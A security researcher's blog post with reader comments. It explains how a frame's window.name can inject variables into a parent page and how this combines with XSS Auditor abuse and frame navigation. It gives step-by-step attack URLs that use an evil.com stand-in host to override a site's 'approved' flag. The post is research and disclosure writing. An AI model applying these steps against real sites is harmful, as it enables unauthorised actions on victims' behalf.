First of all, look closely at 'frames' property. Did you know that...
You probably know that any frame is accessible in parent via calling window.name:
<iframe name="some_frame" src=...> creates some_frame variable pointing to another WindowProxy object.
The tricky part is, frame can redefine its own window.name and it will inject a new variable in parent's namespace (if that variable is undefined — you cannot shadow existing variables...)
Let me remind you the "script killer" trick (we used to kill framebreakers with it). XSS Auditor by default removes pieces of scripts looking "malicious" (if you want to cut off <script src="/lib.js"></script> just pass this code in the query string)
Rough example:
1. page on (frameable) site.com has some innocent iframe (e.g. facebook like).
2. also it does some actions when JS variable 'approved' is true-ish:
<script>var approved = false</script>
after page load or click ...
<script>if(approved){actions!}else{alert('not approved yet');}
3. evil.com opens <iframe name="target" src="http://site.com/page?slice=%3Cscript%3Evar%20approved%20%3D%20false%3C%2Fscript%3E"> - this kills approved variable.
4. Now it navigates facebook button (because of Frame Navigation madness) target[0].location='http://evil.com/constructor' (target is WindowProxy - and [0] is its first frame - fb like)
5. constructor changes frame's window.name = 'approved'
6. now there is "approved" variable in namespace of site.com and if(approved) returns true - actions!
Also:
1. approved+'' returns "[object Window]" (didn't find a way to redefine toString). Would be much more dangerous if we could play with the stringified value
2. it can be any complex nested variable (/constructor will just build nested frames page with specific window.names). e.g. config.user.names[0] - we can replace this variable (creating iframe in "names" iframe under "user" iframe which is under "config" iframe)! With [object Window], but anyway ;)
3. you can use this playground from previous post
Such tricks are reminders how ridiculous web standards can be (URL disclosure is my favorite WontFix).
"Let me remind you the "script killer" trick (we used to kill framebreakers with it). XSS Auditor by default removes pieces of scripts looking "malicious" (if you want to cut off script src="/lib.js" just pass this code in the query string)"
ReplyDeleteI don't think,using just script src="/lib.js" will enforce the XSS Auditor to block that piece of code. The src of the script must be a cross-domain JS file like, http://www.attacker.com/evil.js. And most websites don't load security sensitive JS from a cross-domain site, other than a few JS libraries.
good point, but it will work for example (/script approved=false)
Deletei will check again if it's possible to slice somehow locally hosted scripts
Yes. And, that would be really great :)
DeleteThis is neat. Thank you for the write-up. Another reason why web administrators should provide an x-frame-options header...
ReplyDeleteIn latest Firefox, setting window.name in iframe no longer creates a variable in parent window. It still works in Chrome though.
ReplyDelete